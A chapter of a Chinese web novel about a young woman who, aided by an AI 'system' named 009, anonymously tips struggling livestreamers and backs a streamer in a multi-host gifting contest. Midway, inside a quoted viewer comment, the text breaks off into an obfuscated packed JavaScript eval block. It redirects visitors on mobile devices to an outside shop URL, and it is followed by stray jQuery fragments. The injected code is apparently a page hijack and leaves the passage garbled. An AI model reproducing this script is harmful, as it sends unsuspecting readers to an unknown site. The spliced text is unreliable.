李茵应下这场邀约。
她退出陈子然的直播间，手指往右滑动，切换到推荐视频界面，打算再刷两个有意思的短视频就睡觉。
“没刷到有意思的呢？”
现在是十点一十七分，李茵道：“凑个整点，十点半睡。”
然后理所当然地拖延到十点四十八分。
“哎怎么就快十一点了。”
“时光时光慢些吧……”009用平淡的口吻唱起她刚才刷的bgm。
“哈哈哈哈哈哈哈哈哈哈。”
“能不能别逗我，把我的睡意都给笑跑了。睡不着就怪你。”
说归说，李茵再看最后一个视频。
一张陌生的年轻女子面容映入眼帘。名字却非常熟悉，叫“絮絮今天吃什么”。
是从织梦人刚创建时就一直支持的原始粉丝。
李茵坐直身体，不管里面是什么内容，先点了一波赞。
“絮絮今天吃什么”真名叫唐叙灵，是今年应届毕业生。
最近在找工作，刚品尝到的社会的毒打是何滋味。
工作没找到不说，生活也出现了问题。租房受挫，和谈了四年的男友分手，远离家乡……
压死骆驼的最后一根稻草是今早骑共享单车去面试，回来为了犒劳自己买的杨枝甘露穿透纸袋掉在地上，洒了一地黄白芒果粒。
唐叙灵于风中呆滞。
顶着烈日，她狼狈地打扫了半个小时。还苦中作乐想，幸好不是洒在马路中央，否则想扫也有心无力。
回家后彻底丧失所有力气，又强撑着爬起来，将这段经历做成一条口播视频。
文案写道：生活只需轻轻一击，就能将我彻底压倒。
唐叙灵从遇见傻叉hr开始历数，将这期间的倒霉经历说了个遍，视频有六分钟之长。
李茵不开倍速，将它全部看完。
点击量不错，五千多的赞。
右上角的头像边框泛红，在不停闪烁，显示博主正在直播。
李茵感兴趣地点进去。
背景是一个很小的房间，比较整洁，白色的床上铺着一个玫瑰花毯。
唐叙灵翘着碎发的脑袋出现在画面正下方，正收拾着行李箱。
她一边整理，一边用调侃的语气诉说自己的委屈。
“没办法，第一次租房子不懂，被中介忽悠租了一套串串房。好在我有个师姐，她来做客时发现了端倪，提醒了我。我连夜去网上查资料，发现特征全部都能对的上。可房主和中介死活不承认，在我的据理力争下，押金——没要回来。”
“好不容易找到其它房子，结果前段时间南城连下半个月的雨，我的窗台也滴滴答答漏水，吵得我都神经衰弱了。大半夜睡不着就睁眼思考人生意义，我看南城未必有我忧郁哈。”
“实在受不了，我又搬了次家。就是现在这个房子。除了没有电梯其它的都还好。”
她往后退了退，展示自己的两个超大行李箱，炫耀：“这两个箱子巨重无比，全部靠我强大的臂力，吭哧吭哧把它们搬上六楼。”
零星的弹幕飘过。
【哪个大神顶着满级灯牌来了？】
【煮啵牛啊。看着瘦瘦小小的没想到这么强大。】
【我也在南城，这是哪个小区，还有房子租吗。】
玖：【手臂的淤青是搬行李弄的吗？】
唐叙灵一一回答。
“欢迎玖来听我碎碎念，你的出场特效好酷。对的，当时没拿稳箱子，不小心嗑着了。”
她拎起箱子演示了一遍。
【玖？我靠！是玖神啊。煮啵煮啵你快说点别的什么，越惨越好，，玖】
粉丝过于激动，胡乱敲着键盘。
唐叙灵：“啊？”
这段时间她没怎么上网冲浪，大数据给她推荐的都是租房小技巧。
今晚直播也是心血来潮，想和人聊聊天，排解心中的郁闷。
没等她说别的话，下一秒，十个嘉年华的特效出现在眼前。
唐叙灵：“啊！”
行李箱啪唧一声摔地上，她手足无措。
“我我我我我我？等等，我做什么了，我没做什么吧。玖，你怎么送我这么大的礼物。”
原本只有十四个人的人数迅速飙升，眨眼的瞬间便变成几百人。
【啊啊啊啊啊又看见玖神了。】
【这次是哪个主播这么好运？】
【啧。玖是有什么救风尘的瘾吗。一天到晚有完没完，天天营销还不够。】
【前面的你就羡慕嫉妒恨吧（鄙视）】
【林子大了什么鸟都有。现在这年头，伪人也会上网了。】
【点开主播的主页，发现置顶的花毯视频我也点赞过呢。原来是熟人呀。】
【哈哈哈哈主播恍恍惚惚，还没反应过来。】
飞快划过的弹幕让唐叙灵瞪圆了眼。
结结巴巴道：“谢谢玖，谢谢大家。好多人啊。”
又是十个嘉年华投下。
唐叙灵再次失去语言功能。
良久才找回自己的声音，急得连忙摆手：“谢谢玖，谢谢你的好意。别送我礼物了。我没做什么事情，就是吐槽吐槽，真的受之有愧。”
李茵打字：【没关系。加油！】
附赠一个可爱的握拳颜文字。
唐叙灵久久不能回神。
【收拾收拾，准备升咖吧煮啵。】
【话说玖神打赏的机制到底是什么？我能不能开个直播啊？】
【只打赏比较困难的，或者一些有才艺的小主播，比如小然不吃甜。】
【还有努力生活的普通人啦。上次玖神就给一个爱唱歌的农村嬢嬢送礼物了。】
【也有很多人没被送过。玖神也要看心情。】
【那些人都是不怀好意的好吧。之前那个陈明祥，玖神可能认识他，直接就把他老底给扒了——一个贪污公司公款脚踏多条船的贱人。结果大快人心，他被现公司辞退，彻底被行业封杀。】
【反正我就跟着玖神关注博主了。你们别说那个嬢嬢唱歌真的好听。】
【呜呜玖神真善良，还对主播说加油呢。】
【我看主播都快要哭了。】
唐叙灵确实有点想流泪，不过她不好意思在这么多网友面前哭，只能吸吸鼻子，忍住了那些泪水。
通过弹幕的只言片语，她大概拼凑出了一个大方心善的大佬形象，匆匆下了播，抱着忐忑的心情私信了玖。
绞尽脑汁发出了一条长长的消息。
玖回关得很快，两人可以正常聊天。让她不要有心理负担，生活的困难是暂时的。
唐叙灵藏在心底的那些疲惫瞬间涌了上来，眼泪哗哗流下。
泪眼朦胧间，她感觉希望笼罩于身，又变成了打不死的小强。
她由衷地感谢玖。
另一边，李茵放下手机，打了个小小的哈切。现在十一点半，她终于玩够了。
裹紧被子，她闭上眼睛。
009：“她很感谢你。”
“那是当然。唐叙灵虽然在笑，但我感觉她快撑不下去了。她帮过我，我要还她这份情。”
“你一直都很懂得感恩。”
“哼哼。传递善意世界才会变得更美好。我就是这么一个高素质人类。遇见我你有福了。”
009笑道：“谢谢。我的美好品德确实来自于你的言传身教。”
“做我的系统你不亏。当然，成为你的宿主我也很荣幸。彼时的我就是此时的唐叙灵。你为我开辟了一条崭新璀璨的道路。所以我愿意尽我所能，帮助其他人。”
李茵的声音渐弱，陷入浅眠。
009静静的，学着她的样子，也闭上了眼睛。
周六的多人pk无比热闹。
一棵草莓带着星辰0512加入战场，AAA专业大户和春风不醉是江明子的背后靠山。
江明子又拉了芒果不忙333，一个长相非常甜美的女生，和一颗草莓一样是斗音的头部主播。
两人在线下是很要好的朋友。
四个流量正好的主播齐上阵，春风不醉开麦，戏称可以凑一桌麻将了。
AAA专业大户提前充好了钱，底气十足，听见这句话顿时无语。
星辰0512也开了麦，是个青年音，中规中矩。
“春风别想着你的麻将了，想想惩罚吧。”
多人PK，在限定的时间看谁的积分高。积分最低的要完成最高人指定的惩罚。第二和第三则负责给医药费，即打赏最低之人十个嘉年华。*
小然不吃甜被历炼出来了，遇见这样的大场面心里只会有一点点慌张，表情相当镇定。
谁能想到就在两个月前，她还是一个名不经传的小主播呢？
有朝一日居然和这些大主播们同台打pk且毫不逊色。
陪小然一路走来的真爱粉为她感到骄傲，框框为玖神扛大旗。
芒果不忙333的大哥叫勇闯天涯，提议道：“要不玩当然了游戏？”
上回芒果和江明子打pk输了玩的就是这个。当时她家大哥不在，江明子火力全开，芒果惨败。
勇闯天涯这是来报仇了。
果然，只见江明子立刻举手：“禁止公报私仇。”
【哈哈哈哈哈哈哈哈哈哈。】
【天涯哥一定要为芒果找回场子。】
【江明子上次问的太毒了，直接问芒果“你是不是暗恋我但不好意思说？”把芒果问得咬牙切齿，又只能狰狞地微笑说“当然了”。当时可把我笑惨了。】
【我靠哈哈哈哈我没看过这场，江明子问的好歹毒啊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793261|203519||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
！】
【怪不得他现在这么害怕。不敢想象要是输了芒果会怎么整他。】
AAA专业大户：“我们还没开打呢，你就觉得你会输？”
江明子光速支棱：“爱了爱了，专业哥这满满的安全感。什么星辰什么玖，什么芒果和勇闯天涯，通通放马过来吧。”
春风不醉道没眼看，道：“我看算了吧。专业，让他输一场也无妨。”
勇闯天涯：“说真的？”
AAA专业大户：“假的。”
陈子然询问李茵想要什么惩罚。
李茵云淡风轻：【无所谓，别担心。我们肯定是第一。】
【玖神好帅！】
【人总是会反复爱上同一个人，比如我，已经沉醉在玖神的温柔里了。】
【小然你就傲视群雄吧。玖神和我们就是你最坚实的后盾。】
【我们起到一个摇旗呐喊的作用。】
实则不然。在玖的光环下，小然不吃甜流量大涨，吸引了一波实力不逊的粉丝。
有点小钱，当然和玖比不了，打pk时会砸几千块。
胜在人数特别多，如果玖不在，照样为她上很多票。
陈子然觉得自己可真是个幸运的家伙，更加卖力地提升才艺。
招聘了一个科班老师教导自己唱跳。又找了一个助理和化妆师，渐渐形成小型工作室的规模。
星辰：“就玩这个吧。第一名问二十个问题，第四名只能回答当然了。”
一颗草莓：“好呀好呀。”
芒果不忙333桀桀笑：“江明子啊江明子，你马上就要栽了。”
江明子拱手，不卑不亢道：“芒果姑娘此言差异。小生本场有春风姐与专业哥坐镇，何来输字一说。”
春风不醉：“我们走了。”
AAA专业户：“还是走吧。”
江明子立马破功，哭唧唧：“NO——春风姐专业哥要走带我一起走啊。群狼环视我这只小绵羊啊。”
春风不醉：“咦。”
AAA专业户：“啧。”
【笑不活了大姐大哥们太有节目了。】
【小明你就忍忍吧。输给我们芒果不亏。】
【玖神也会温柔对待你的。】
【我现在就去搜题库。星辰哥这是收手了，怎么只问二十个，应该问个百八十个才好玩。】
江明子百思不得其解：“你们是我的粉丝吗，怎么顶着明家军的灯牌说这些让我心寒的话。”
“还没开打呢。有春风姐和专业哥我不可能输的！”他掷地有声。
结果非常美好，江明子和芒果不忙333积分持平，都居第三。
一颗草莓棋差一着，惜败小然不吃甜，位于第二。
后半场完全是玖和星辰0512火拼。双方都在展现实力。
这边刚投下五百二十个，那边李茵又刷了六百个。
江明子自知第一第二无望，一边盯着自己和芒果的比分，一边啧啧感叹：“谁有我幸福，又看了一场年年度pk。”
芒果道：“你就差握一把瓜子看戏了。”
江明子瞅了眼比分，张牙舞爪：“大家一起好好围观不行吗，怎么你又反超了。”
勇闯天涯孜孜不倦投着嘉年华。
春风不醉反应飞快，迅速拉平。AAA专业大户负责抄家。
芒果呵呵笑：“可能因为我想看你被说暗恋谁谁谁吧。”
“还是记仇。”
【芒果：此仇不报难解心头之恨。】
【好好好就这么鸡冻人心。】
【芒果的分也咬得好紧。】
【擦汗。两位大佬这是把嘉年华当什么使啊。现在都快砸四百万了吧。】
春风不醉：“……要不要这么有钱啊。我打不动了。”
【春风姐：放我回家搓麻！】
【连春风都觉得有钱那得多有钱啊。】
AAA专业户更上头：“快砸。天涯又反超了。”
春风不醉一激灵，又是五十个嘉年华。
【互相火拼中。】
【家人们还有最后一分钟了！】
【一分钟定胜负。】
【额滴娘勒玖神又刷了一千个华子。敢问玖神家里有金矿吗？】
【不止。我觉得玖神在中东还有石油。】
【啊啊啊啊啊啊啊是小然赢了！】
【开着十六度的空调都给我看热起来了。】
【星辰哥也没想到玖神这么能打吧。】
【热血沸腾，刺激人心。】
【各位大姐大哥答应我，一定要常打pk好吗。】
【豪爽豪爽豪爽豪爽。】
【不过芒果和小明比分持平诶。这个该怎么算。】
怎么算，李茵想了想，那就一人十个问题吧。